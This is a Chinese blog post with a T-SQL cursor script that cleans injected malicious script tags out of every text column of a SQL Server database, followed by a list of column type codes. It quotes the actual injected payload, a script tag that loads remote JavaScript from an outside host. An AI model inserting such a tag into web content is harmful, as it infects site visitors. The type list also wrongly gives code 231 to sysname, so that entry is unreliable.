恢复被注入挂马的SQL数据库

--///////////////////////////////////////////
--查询分析器里执行
declare @mf varchar(8000),
@m varchar(8000)


declare cur_AA cursor for select o.name,c.name from sysobjects o join syscolumns c on o.id=c.id where o.xtype='U' and o.status>0 and c.xtype in (99,35,167,175,231,239) order by o.name
open cur_AA
Fetch Next From Cur_AA
into @mf,@m
while @@fetch_Status=0
begin

exec('update ' + @mf + ' set ' + @m + '=replace(convert(varchar(8000),' + @m + '),''<script src=http://3b3.org/c.js></script>'','''')')

Fetch Next From Cur_AA
into @mf,@m

end
close cur_AA
deallocate cur_AA

---///完

<script src=http://3b3.org/c.js></script> 替换为再数据库里被实际注入的脚本内容。

字段类型说明：

xtype=34 'image'
xtype= 35 'text'
xtype=36 'uniqueidentifier'
xtype=48 'tinyint'
xtype=52 'smallint'
xtype=56 'int'
xtype=58 'smalldatetime'
xtype=59 'real'
xtype=60 'money'
xtype=61 'datetime'
xtype=62 'float'
xtype=98 'sql_variant'
xtype=99 'ntext'
xtype=104 'bit'
xtype=106 'decimal'
xtype=108 'numeric'
xtype=122 'smallmoney'
xtype=127 'bigint'
xtype=165 'varbinary'
xtype=167 'varchar'
xtype=173 'binary'
xtype=175 'char'
xtype=189 'timestamp'
xtype=231 'nvarchar'
xtype=239 'nchar'
xtype=241 'xml'
xtype=231 'sysname'


-----//////////////////以上解决办法来自于csdn kimsoft's blog 与 小胖 修正。

上一篇: 利用正则快速查找与清理挂马
下一篇: FreeBSD 学习资料
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: sql注入 挂马
相关日志: